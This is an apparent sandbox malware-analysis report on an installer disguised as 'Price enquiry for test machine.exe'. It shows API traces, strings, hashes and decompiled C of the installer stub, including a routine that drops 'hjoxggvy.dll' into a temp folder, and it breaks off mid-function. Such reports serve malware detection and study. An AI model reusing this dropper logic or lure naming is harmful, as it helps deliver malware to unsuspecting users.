Part of subcall function 00405AF6: wsprintfA.USER32 ref: 00405B03

RegisterClassA.USER32 ref: 0040377F
SystemParametersInfoA.USER32(00000030,00000000,_Nb,00000000), ref: 00403797
CreateWindowExA.USER32 ref: 004037D0
ShowWindow.USER32(00000005,00000000), ref: 00403806
GetClassInfoA.USER32 ref: 00403832
GetClassInfoA.USER32 ref: 0040383F
RegisterClassA.USER32 ref: 00403848
DialogBoxParamA.USER32 ref: 00403867

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 0040361F
C:\Users\user\AppData\Local\Temp, xrefs: 0040366B, 00403673, 0040370B, 00403711, 00403721
rzxxndps, xrefs: 0040369F, 004036A7, 004036B4, 004036FE, 00403704
6B, xrefs: 00403747
.DEFAULT\Control Panel\International, xrefs: 00403647
C:\Users\user\AppData\Local\Temp\, xrefs: 004035F7
1033, xrefs: 0040360B, 00403657
_Nb, xrefs: 0040378E, 00403793
RichEd20, xrefs: 0040380C
RichEd32, xrefs: 0040381A
RichEdit, xrefs: 00403839
"C:\Users\user\Desktop\Price enquiry for test machine.exe" , xrefs: 004035EF
.exe, xrefs: 004036DE
RichEdit20A, xrefs: 0040382A, 00403830

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\Price enquiry for test machine.exe" $.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb$rzxxndps$6B
API String ID: 1975747703-3269105467
Opcode ID: 6d9bdf85a822e0f9bb9c4e2fcc7d2e939be480c33988b3e2c2e3dba5f36146f3
Instruction ID: 6624008b3449f808402c67b3262d240ca0850aee1e0dcbc9c28568ef27b6b269
Opcode Fuzzy Hash: 6d9bdf85a822e0f9bb9c4e2fcc7d2e939be480c33988b3e2c2e3dba5f36146f3
Instruction Fuzzy Hash: 6A61E9B17002047EE620AF619D45E3B7ABCEB4474AF40457FF941B22E2D77D9E428A2D

Uniqueness

Uniqueness Score: -1.00%

Function 00402C55, Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00402C55(void* __eflags, signed int _a4) {
				DWORD* _v8;
				DWORD* _v12;
				void* _v16;
				intOrPtr _v20;
				long _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				long _t43;
				signed int _t50;
				void* _t53;
				signed int _t54;
				void* _t57;
				intOrPtr* _t59;
				long _t60;
				signed int _t65;
				signed int _t67;
				signed int _t70;
				signed int _t71;
				signed int _t77;
				intOrPtr _t80;
				long _t82;
				signed int _t85;
				signed int _t87;
				void* _t89;
				signed int _t90;
				signed int _t93;
				void* _t94;

				_t82 = 0;
				_v12 = 0;
				_v8 = 0;
				_t43 = GetTickCount();
				_t91 = "C:\\Users\\hardz\\Desktop\\Price enquiry for test machine.exe";
				 *0x423f4c = _t43 + 0x3e8;
				GetModuleFileNameA(0, "C:\\Users\\hardz\\Desktop\\Price enquiry for test machine.exe", 0x400);
				_t89 = E0040586F(_t91, 0x80000000, 3);
				_v16 = _t89;
				 *0x409014 = _t89;
				if(_t89 == 0xffffffff) {
					return "Error launching installer";
				}
				_t92 = "C:\\Users\\hardz\\Desktop";
				E00405B98("C:\\Users\\hardz\\Desktop", _t91);
				E00405B98(0x42c000, E004056D2(_t92));
				_t50 = GetFileSize(_t89, 0);
				__eflags = _t50;
				 *0x41f0e8 = _t50;
				_t93 = _t50;
				if(_t50 <= 0) {
					L24:
					E00402BF1(1);
					__eflags =  *0x423f54 - _t82; // 0x3ae00
					if(__eflags == 0) {
						goto L29;
					}
					__eflags = _v8 - _t82;
					if(_v8 == _t82) {
						L28:
						_t53 = GlobalAlloc(0x40, _v24); // executed
						_t94 = _t53;
						_t54 =  *0x423f54; // 0x3ae00
						E004030B3(_t54 + 0x1c);
						_push(_v24);
						_push(_t94);
						_push(_t82);
						_push(0xffffffff); // executed
						_t57 = E00402E8E(); // executed
						__eflags = _t57 - _v24;
						if(_t57 == _v24) {
							__eflags = _v44 & 0x00000001;
							 *0x423f50 = _t94;
							 *0x423f58 =  *_t94;
							if((_v44 & 0x00000001) != 0) {
								 *0x423f5c =  *0x423f5c + 1;
								__eflags =  *0x423f5c;
							}
							_t40 = _t94 + 0x44; // 0x44
							_t59 = _t40;
							_t85 = 8;
							do {
								_t59 = _t59 - 8;
								 *_t59 =  *_t59 + _t94;
								_t85 = _t85 - 1;
								__eflags = _t85;
							} while (_t85 != 0);
							_t60 = SetFilePointer(_v16, _t82, _t82, 1); // executed
							 *(_t94 + 0x3c) = _t60;
							E00405830(0x423f60, _t94 + 4, 0x40);
							__eflags = 0;
							return 0;
						}
						goto L29;
					}
					E004030B3( *0x40b0d8);
					_t65 = E00403081( &_a4, 4);
					__eflags = _t65;
					if(_t65 == 0) {
						goto L29;
					}
					__eflags = _v12 - _a4;
					if(_v12 != _a4) {
						goto L29;
					}
					goto L28;
				} else {
					do {
						_t67 =  *0x423f54; // 0x3ae00
						_t90 = _t93;
						asm("sbb eax, eax");
						_t70 = ( ~_t67 & 0x00007e00) + 0x200;
						__eflags = _t93 - _t70;
						if(_t93 >= _t70) {
							_t90 = _t70;
						}
						_t71 = E00403081(0x4170e8, _t90); // executed
						__eflags = _t71;
						if(_t71 == 0) {
							E00402BF1(1);
							L29:
							return "Installer integrity check has failed. Common causes include\nincomplete download and damaged media. Contact the\ninstaller\'s author to obtain a new copy.\n\nMore information at:\nhttp://nsis.sf.net/NSIS_Error";
						}
						__eflags =  *0x423f54;
						if( *0x423f54 != 0) {
							__eflags = _a4 & 0x00000002;
							if((_a4 & 0x00000002) == 0) {
								E00402BF1(0);
							}
							goto L20;
						}
						E00405830( &_v44, 0x4170e8, 0x1c);
						_t77 = _v44;
						__eflags = _t77 & 0xfffffff0;
						if((_t77 & 0xfffffff0) != 0) {
							goto L20;
						}
						__eflags = _v40 - 0xdeadbeef;
						if(_v40 != 0xdeadbeef) {
							goto L20;
						}
						__eflags = _v28 - 0x74736e49;
						if(_v28 != 0x74736e49) {
							goto L20;
						}
						__eflags = _v32 - 0x74666f73;
						if(_v32 != 0x74666f73) {
							goto L20;
						}
						__eflags = _v36 - 0x6c6c754e;
						if(_v36 != 0x6c6c754e) {
							goto L20;
						}
						_a4 = _a4 | _t77;
						_t87 =  *0x40b0d8; // 0x3ae00
						 *0x423fe0 =  *0x423fe0 | _a4 & 0x00000002;
						_t80 = _v20;
						__eflags = _t80 - _t93;
						 *0x423f54 = _t87;
						if(_t80 > _t93) {
							goto L29;
						}
						__eflags = _a4 & 0x00000008;
						if((_a4 & 0x00000008) != 0) {
							L16:
							_v8 = _v8 + 1;
							_t93 = _t80 - 4;
							__eflags = _t90 - _t93;
							if(_t90 > _t93) {
								_t90 = _t93;
							}
							goto L20;
						}
						__eflags = _a4 & 0x00000004;
						if((_a4 & 0x00000004) != 0) {
							break;
						}
						goto L16;
						L20:
						__eflags = _t93 -  *0x41f0e8;
						if(_t93 <  *0x41f0e8) {
							_v12 = E00405F97(_v12, 0x4170e8, _t90);
						}
						 *0x40b0d8 =  *0x40b0d8 + _t90;
						_t93 = _t93 - _t90;
						__eflags = _t93;
					} while (_t93 > 0);
					_t82 = 0;
					__eflags = 0;
					goto L24;
				}
			}

0x00402c5d
0x00402c60
0x00402c63
0x00402c66
0x00402c6c
0x00402c7d
0x00402c82
0x00402c95
0x00402c9a
0x00402c9d
0x00402ca3
0x00000000
0x00402ca5
0x00402cb0
0x00402cb6
0x00402cc7
0x00402cce
0x00402cd4
0x00402cd6
0x00402cdb
0x00402cdd
0x00402dca
0x00402dcc
0x00402dd1
0x00402dd8
0x00000000
0x00000000
0x00402dda
0x00402ddd
0x00402e01
0x00402e06
0x00402e0c
0x00402e0e
0x00402e17
0x00402e1c
0x00402e1f
0x00402e20
0x00402e21
0x00402e23
0x00402e28
0x00402e2b
0x00402e3e
0x00402e42
0x00402e4a
0x00402e4f
0x00402e51
0x00402e51
0x00402e51
0x00402e59
0x00402e59
0x00402e5c
0x00402e5d
0x00402e5d
0x00402e60
0x00402e62
0x00402e62
0x00402e62
0x00402e6c
0x00402e72
0x00402e80
0x00402e85
0x00000000
0x00402e85
0x00000000
0x00402e2b
0x00402de5
0x00402df0
0x00402df5
0x00402df7
0x00000000
0x00000000
0x00402dfc
0x00402dff
0x00000000
0x00000000
0x00000000
0x00402ce3
0x00402ce8
0x00402ce8
0x00402ced
0x00402cf1
0x00402cf8
0x00402cfd
0x00402cff
0x00402d01
0x00402d01
0x00402d05
0x00402d0a
0x00402d0c
0x00402e36
0x00402e2d
0x00000000
0x00402e2d
0x00402d12
0x00402d19
0x00402d95
0x00402d99
0x00402d9d
0x00402da2
0x00000000
0x00402d99
0x00402d22
0x00402d27
0x00402d2a
0x00402d2f
0x00000000
0x00000000
0x00402d31
0x00402d38
0x00000000
0x00000000
0x00402d3a
0x00402d41
0x00000000
0x00000000
0x00402d43
0x00402d4a
0x00000000
0x00000000
0x00402d4c
0x00402d53
0x00000000
0x00000000
0x00402d55
0x00402d5b
0x00402d64
0x00402d6a
0x00402d6d
0x00402d6f
0x00402d75
0x00000000
0x00000000
0x00402d7b
0x00402d7f
0x00402d87
0x00402d87
0x00402d8a
0x00402d8d
0x00402d8f
0x00402d91
0x00402d91
0x00000000
0x00402d8f
0x00402d81
0x00402d85
0x00000000
0x00000000
0x00000000
0x00402da3
0x00402da3
0x00402da9
0x00402db5
0x00402db5
0x00402db8
0x00402dbe
0x00402dc0
0x00402dc0
0x00402dc8
0x00402dc8
0x00000000
0x00402dc8

APIs

GetTickCount.KERNEL32 ref: 00402C66
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\Price enquiry for test machine.exe,00000400), ref: 00402C82

Part of subcall function 0040586F: GetFileAttributesA.KERNELBASE(00000003,00402C95,C:\Users\user\Desktop\Price enquiry for test machine.exe,80000000,00000003), ref: 00405873
Part of subcall function 0040586F: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405895

GetFileSize.KERNEL32(00000000,00000000,0042C000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Price enquiry for test machine.exe,C:\Users\user\Desktop\Price enquiry for test machine.exe,80000000,00000003), ref: 00402CCE

Strings

Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402E2D
Null, xrefs: 00402D4C
Inst, xrefs: 00402D3A
"C:\Users\user\Desktop\Price enquiry for test machine.exe" , xrefs: 00402C55
C:\Users\user\Desktop\Price enquiry for test machine.exe, xrefs: 00402C6C, 00402C7B, 00402C8F, 00402CAF
C:\Users\user\Desktop, xrefs: 00402CB0, 00402CB5, 00402CBB
soft, xrefs: 00402D43
Error launching installer, xrefs: 00402CA5
pA, xrefs: 00402CE3
C:\Users\user\AppData\Local\Temp\, xrefs: 00402C5F

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\Price enquiry for test machine.exe" $C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Price enquiry for test machine.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft$pA
API String ID: 4283519449-477273547
Opcode ID: d74ddf077dad9ccce0d63da47009af9ced08a9d3a58e0b3746407ee1fc4199ad
Instruction ID: 62828f2e2b01cd2e9021f71d1007b468b6294b04ed91f3cf43b909f99e7c5814
Opcode Fuzzy Hash: d74ddf077dad9ccce0d63da47009af9ced08a9d3a58e0b3746407ee1fc4199ad
Instruction Fuzzy Hash: C151E371E00214ABDB209F64DE89B9E7BB4EF04355F20403BF904B62D1C7BC9E458A9D

Uniqueness

Uniqueness Score: -1.00%

Function 00401751, Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E00401751(FILETIME* __ebx, void* __eflags) {
				void* _t33;
				void* _t41;
				void* _t43;
				FILETIME* _t49;
				FILETIME* _t62;
				void* _t64;
				signed int _t70;
				FILETIME* _t71;
				FILETIME* _t75;
				signed int _t77;
				void* _t80;
				CHAR* _t82;
				void* _t85;

				_t75 = __ebx;
				_t82 = E00402A29(0x31);
				 *(_t85 - 0xc) = _t82;
				 *(_t85 + 8) =  *(_t85 - 0x28) & 0x00000007;
				_t33 = E004056F8(_t82);
				_push(_t82);
				if(_t33 == 0) {
					lstrcatA(E0040568B(E00405B98(0x409c10, "C:\\Users\\hardz\\AppData\\Local\\Temp")), ??);
				} else {
					_push(0x409c10);
					E00405B98();
				}
				E00405DFA(0x409c10);
				while(1) {
					__eflags =  *(_t85 + 8) - 3;
					if( *(_t85 + 8) >= 3) {
						_t64 = E00405E93(0x409c10);
						_t77 = 0;
						__eflags = _t64 - _t75;
						if(_t64 != _t75) {
							_t71 = _t64 + 0x14;
							__eflags = _t71;
							_t77 = CompareFileTime(_t71, _t85 - 0x1c);
						}
						asm("sbb eax, eax");
						_t70 =  ~(( *(_t85 + 8) + 0xfffffffd | 0x80000000) & _t77) + 1;
						__eflags = _t70;
						 *(_t85 + 8) = _t70;
					}
					__eflags =  *(_t85 + 8) - _t75;
					if( *(_t85 + 8) == _t75) {
						E00405850(0x409c10);
					}
					__eflags =  *(_t85 + 8) - 1;
					_t41 = E0040586F(0x409c10, 0x40000000, (0 |  *(_t85 + 8) != 0x00000001) + 1);
					__eflags = _t41 - 0xffffffff;
					 *(_t85 - 8) = _t41;
					if(_t41 != 0xffffffff) {
						break;
					}
					__eflags =  *(_t85 + 8) - _t75;
					if( *(_t85 + 8) != _t75) {
						E00404E84(0xffffffe2,  *(_t85 - 0xc));
						__eflags =  *(_t85 + 8) - 2;
						if(__eflags == 0) {
							 *((intOrPtr*)(_t85 - 4)) = 1;
						}
						L31:
						 *0x423fc8 =  *0x423fc8 +  *((intOrPtr*)(_t85 - 4));
						__eflags =  *0x423fc8;
						goto L32;
					} else {
						E00405B98(0x40a410, 0x425000);
						E00405B98(0x425000, 0x409c10);
						E00405BBA(_t75, 0x40a410, 0x409c10, "C:\Users\hardz\AppData\Local\Temp\nslB4AA.tmp\hjoxggvy.dll",  *((intOrPtr*)(_t85 - 0x14)));
						E00405B98(0x425000, 0x40a410);
						_t62 = E00405459("C:\Users\hardz\AppData\Local\Temp\nslB4AA.tmp\hjoxggvy.dll",  *(_t85 - 0x28) >> 3) - 4;
						__eflags = _t62;
						if(_t62 == 0) {
							continue;
						} else {
							__eflags = _t62 == 1;
							if(_t62 == 1) {
								 *0x423fc8 =  &( *0x423fc8->dwLowDateTime);
								L32:
								_t49 = 0;
								__eflags = 0;
							} else {
								_push(0x409c10);
								_push(0xfffffffa);
								E00404E84();
								L29:
								_t49 = 0x7fffffff;
							}
						}
					}
					L33:
					return _t49;
				}
				E00404E84(0xffffffea,  *(_t85 - 0xc));
				 *0x423ff4 =  *0x423ff4 + 1;
				_push(_t75);
				_push(_t75);
				_push( *(_t85 - 8));
				_push( *((intOrPtr*)(_t85 - 0x20)));
				_t43 = E00402E8E(); // executed
				 *0x423ff4 =  *0x423ff4 - 1;
				__eflags =  *(_t85 - 0x1c) - 0xffffffff;
				_t80 = _t43;
				if( *(_t85 - 0x1c) != 0xffffffff) {
					L22:
					SetFileTime( *(_t85 - 8), _t85 - 0x1c, _t75, _t85 - 0x1c); // executed
				} else {
					__eflags =  *((intOrPtr*)(_t85 - 0x18)) - 0xffffffff;
					if( *((intOrPtr*)(_t85 - 0x18)) != 0xffffffff) {
						goto L22;
					}
				}
				FindCloseChangeNotification( *(_t85 - 8)); // executed
				__eflags = _t80 - _t75;
				if(_t80 >= _t75) {
					goto L31;
				} else {
					__eflags = _t80 - 0xfffffffe;
					if(_t80 != 0xfffffffe) {
						E00405BBA(_t75, _t80, 0x409c10, 0x409c10, 0xffffffee);
					} else {
						E00405BBA(_t75, _t80, 0x409c10, 0x409c10, 0xffffffe9);
						lstrcatA(0x409c10,  *(_t85 - 0xc));
					}
					_push(0x200010);
					_push(0x409c10);
					E00405459();
					goto L29;
				}
				goto L33;
			}

0x00401751
0x00401758
0x00401761
0x00401764
0x00401767
0x0040176c
0x00401774
0x00401790
0x00401776
0x00401776
0x00401777
0x00401777
0x00401796
0x004017a0
0x004017a0
0x004017a4
0x004017a7
0x004017ac
0x004017ae
0x004017b0
0x004017b5
0x004017b5
0x004017c0
0x004017c0
0x004017d1
0x004017d3
0x004017d3
0x004017d4
0x004017d4
0x004017d7
0x004017da
0x004017dd
0x004017dd
0x004017e4
0x004017f3
0x004017f8
0x004017fb
0x004017fe
0x00000000
0x00000000
0x00401800
0x00401803
0x0040185d
0x00401862
0x004015a8
0x0040268f
0x0040268f
0x004028be
0x004028c1
0x004028c1
0x00000000
0x00401805
0x0040180b
0x00401816
0x00401823
0x0040182e
0x00401844
0x00401844
0x00401847
0x00000000
0x0040184d
0x0040184d
0x0040184e
0x0040186b
0x004028c7
0x004028c7
0x004028c7
0x00401850
0x00401850
0x00401851
0x00401492
0x00402241
0x00402241
0x00402241
0x0040184e
0x00401847
0x004028c9
0x004028cd
0x004028cd
0x0040187b
0x00401880
0x00401886
0x00401887
0x00401888
0x0040188b
0x0040188e
0x00401893
0x00401899
0x0040189d
0x0040189f
0x004018a7
0x004018b3
0x004018a1
0x004018a1
0x004018a5
0x00000000
0x00000000
0x004018a5
0x004018bc
0x004018c2
0x004018c4
0x00000000
0x004018ca
0x004018ca
0x004018cd
0x004018e5
0x004018cf
0x004018d2
0x004018db
0x004018db
0x004018ea
0x004018ef
0x0040223c
0x00000000
0x0040223c
0x00000000

APIs

lstrcatA.KERNEL32(00000000,00000000,rzxxndps,C:\Users\user\AppData\Local\Temp,00000000,00000000,00000031), ref: 00401790
CompareFileTime.KERNEL32(-00000014,?,rzxxndps,rzxxndps,00000000,00000000,rzxxndps,C:\Users\user\AppData\Local\Temp,00000000,00000000,00000031), ref: 004017BA

Part of subcall function 00405B98: lstrcpynA.KERNEL32(?,?,00000400,004031A9,uxxyribzeom Setup,NSIS Error), ref: 00405BA5

Part of subcall function 00404E84: lstrlenA.KERNEL32(0041FD10,00000000,0040F0E0,00000000,?,?,?,?,?,?,?,?,?,00402FBE,00000000,?), ref: 00404EBD
Part of subcall function 00404E84: lstrlenA.KERNEL32(00402FBE,0041FD10,00000000,0040F0E0,00000000,?,?,?,?,?,?,?,?,?,00402FBE,00000000), ref: 00404ECD
Part of subcall function 00404E84: lstrcatA.KERNEL32(0041FD10,00402FBE,00402FBE,0041FD10,00000000,0040F0E0,00000000), ref: 00404EE0
Part of subcall function 00404E84: SetWindowTextA.USER32(0041FD10,0041FD10), ref: 00404EF2
Part of subcall function 00404E84: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404F18
Part of subcall function 00404E84: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404F32
Part of subcall function 00404E84: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404F40

Strings

C:\Users\user\AppData\Local\Temp\nslB4AA.tmp, xrefs: 0040179B, 0040180A, 00401828
C:\Users\user\AppData\Local\Temp, xrefs: 0040177E
C:\Users\user\AppData\Local\Temp\nslB4AA.tmp\hjoxggvy.dll, xrefs: 0040181E, 0040183A
rzxxndps, xrefs: 0040176D, 00401776, 00401783, 004017A6, 004017DC, 004017F2, 00401810, 00401850, 004018D1, 004018DA, 004018E4, 004018EF

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\nslB4AA.tmp$C:\Users\user\AppData\Local\Temp\nslB4AA.tmp\hjoxggvy.dll$rzxxndps
API String ID: 1941528284-614358583
Opcode ID: 1d83eeb157989370eef6aca95033163bd7760edd2b6c2f47f904ee0373184e1d
Instruction ID: ec6d4e4deed358595fa2340d5a7c786697911580d52a45c2a3a5a43c8a45cd53
Opcode Fuzzy Hash: 1d83eeb157989370eef6aca95033163bd7760edd2b6c2f47f904ee0373184e1d
Instruction Fuzzy Hash: 1C41E531900515BADF107FB5CC45EAF3679EF02329B60863BF425F10E2D67C9A418A6E

Uniqueness

Uniqueness Score: -1.00%

Function 00402E8E, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 166
fileCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00402E8E(int _a4, void* _a8, long _a12, int _a16, signed char _a19) {
				signed int _v8;
				long _v12;
				long _v16;
				long _v20;
				intOrPtr _v24;
				char _v88;
				void* _t62;
				void* _t63;
				intOrPtr _t74;
				long _t75;
				int _t78;
				void* _t88;
				intOrPtr _t91;
				void* _t93;
				long _t96;
				signed int _t97;
				long _t98;
				int _t99;
				void* _t100;
				long _t101;
				void* _t102;

				_t97 = _a16;
				_t93 = _a12;
				_v12 = _t97;
				if(_t93 == 0) {
					_v12 = 0x8000;
				}
				_v8 = _v8 & 0x00000000;
				_t88 = _t93;
				if(_t93 == 0) {
					_t88 = 0x40f0e0;
				}
				_t60 = _a4;
				if(_a4 >= 0) {
					_t91 =  *0x423f98; // 0x3c050
					E004030B3(_t91 + _t60);
				}
				_t62 = E00403081( &_a16, 4); // executed
				if(_t62 == 0) {
					L34:
					_push(0xfffffffd);
					goto L35;
				} else {
					if((_a19 & 0x00000080) == 0) {
						if(_t93 == 0) {
							while(_a16 > 0) {
								_t98 = _v12;
								if(_a16 < _t98) {
									_t98 = _a16;
								}
								if(E00403081(0x40b0e0, _t98) == 0) {
									goto L34;
								} else {
									if(WriteFile(_a8, 0x40b0e0, _t98,  &_a12, 0) == 0 || _t98 != _a12) {
										L29:
										_push(0xfffffffe);
										L35:
										_pop(_t63);
										return _t63;
									} else {
										_v8 = _v8 + _t98;
										_a16 = _a16 - _t98;
										continue;
									}
								}
							}
							L45:
							return _v8;
						}
						if(_a16 < _t97) {
							_t97 = _a16;
						}
						if(E00403081(_t93, _t97) != 0) {
							_v8 = _t97;
							goto L45;
						} else {
							goto L34;
						}
					}
					_v16 = GetTickCount();
					E00406005(0x40b050);
					_t13 =  &_a16;
					 *_t13 = _a16 & 0x7fffffff;
					_a4 = _a16;
					if( *_t13 <= 0) {
						goto L45;
					} else {
						goto L9;
					}
					while(1) {
						L9:
						_t99 = 0x4000;
						if(_a16 < 0x4000) {
							_t99 = _a16;
						}
						if(E00403081(0x40b0e0, _t99) == 0) {
							goto L34;
						}
						_a16 = _a16 - _t99;
						 *0x40b068 = 0x40b0e0;
						 *0x40b06c = _t99;
						while(1) {
							 *0x40b070 = _t88;
							 *0x40b074 = _v12; // executed
							_t74 = E00406025(0x40b050); // executed
							_v24 = _t74;
							if(_t74 < 0) {
								break;
							}
							_t100 =  *0x40b070; // 0x40f0e0
							_t101 = _t100 - _t88;
							_t75 = GetTickCount();
							_t96 = _t75;
							if(( *0x423ff4 & 0x00000001) != 0 && (_t75 - _v16 > 0xc8 || _a16 == 0)) {
								wsprintfA( &_v88, "... %d%%", MulDiv(_a4 - _a16, 0x64, _a4));
								_t102 = _t102 + 0xc;
								E00404E84(0,  &_v88);
								_v16 = _t96;
							}
							if(_t101 == 0) {
								if(_a16 > 0) {
									goto L9;
								}
								goto L45;
							} else {
								if(_a12 != 0) {
									_v8 = _v8 + _t101;
									_v12 = _v12 - _t101;
									_t88 =  *0x40b070; // 0x40f0e0
									L24:
									if(_v24 != 1) {
										continue;
									}
									goto L45;
								}
								_t78 = WriteFile(_a8, _t88, _t101,  &_v20, 0); // executed
								if(_t78 == 0 || _v20 != _t101) {
									goto L29;
								} else {
									_v8 = _v8 + _t101;
									goto L24;
								}
							}
						}
						_push(0xfffffffc);
						goto L35;
					}
					goto L34;
				}
			}

0x00402e96
0x00402e9a
0x00402e9d
0x00402ea2
0x00402ea4
0x00402ea4
0x00402eab
0x00402eaf
0x00402eb3
0x00402eb5
0x00402eb5
0x00402eba
0x00402ebf
0x00402ec1
0x00402eca
0x00402eca
0x00402ed5
0x00402edc
0x0040302c
0x0040302c
0x00000000
0x00402ee2
0x00402ee6
0x00403017
0x0040306c
0x00403031
0x00403037
0x00403039
0x00403039
0x0040304a
0x00000000
0x0040304c
0x0040305f
0x00403011
0x00403011
0x0040302e
0x0040302e
0x00000000
0x00403066
0x00403066
0x00403069
0x00000000
0x00403069
0x0040305f
0x0040304a
0x00403077
0x00000000
0x00403077
0x0040301c
0x0040301e
0x0040301e
0x0040302a
0x00403074
0x00000000
0x00000000
0x00000000
0x00000000
0x0040302a
0x00402ef7
0x00402efa
0x00402eff
0x00402eff
0x00402f09
0x00402f0c
0x00000000
0x00000000
0x00000000
0x00000000
0x00402f12
0x00402f12
0x00402f12
0x00402f1a
0x00402f1c
0x00402f1c
0x00402f2d
0x00000000
0x00000000
0x00402f33
0x00402f36
0x00402f3c
0x00402f42
0x00402f4a
0x00402f50
0x00402f55
0x00402f5c
0x00402f5f
0x00000000
0x00000000
0x00402f65
0x00402f6b
0x00402f6d
0x00402f7a
0x00402f7c
0x00402faa
0x00402fb0
0x00402fb9
0x00402fbe
0x00402fbe
0x00402fc5
0x00403005
0x00000000
0x00000000
0x00000000
0x00402fc7
0x00402fca
0x00402fea
0x00402fed
0x00402ff0
0x00402ff6
0x00402ffa
0x00000000
0x00000000
0x00000000
0x00403000
0x00402fd6
0x00402fde
0x00000000
0x00402fe5
0x00402fe5
0x00000000
0x00402fe5
0x00402fde
0x00402fc5
0x0040300d
0x00000000
0x0040300d
0x00000000
0x00402f12

APIs

GetTickCount.KERNEL32 ref: 00402EEC
GetTickCount.KERNEL32 ref: 00402F6D
MulDiv.KERNEL32(7FFFFFFF,00000064,00000020), ref: 00402F9A
wsprintfA.USER32 ref: 00402FAA
WriteFile.KERNELBASE(00000000,00000000,0040F0E0,00000000,00000000), ref: 00402FD6

Strings

... %d%%, xrefs: 00402FA4

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: CountTick$FileWritewsprintf
String ID: ... %d%%
API String ID: 4209647438-2449383134
Opcode ID: b944acebcfd11712949cb6564d56ed346294539165133d47b9c6a5aca850bb39
Instruction ID: 896dd5a5e80e39cb813739a9bcc38eeef40bacba50e05a76af68061f47ce39f0
Opcode Fuzzy Hash: b944acebcfd11712949cb6564d56ed346294539165133d47b9c6a5aca850bb39
Instruction Fuzzy Hash: 13518A3190120AABDF10DF65DA04AAF7BB8EB00395F14413BFD11B62C4D7789E41CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00405346, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405346(CHAR* _a4) {
				struct _SECURITY_ATTRIBUTES _v16;
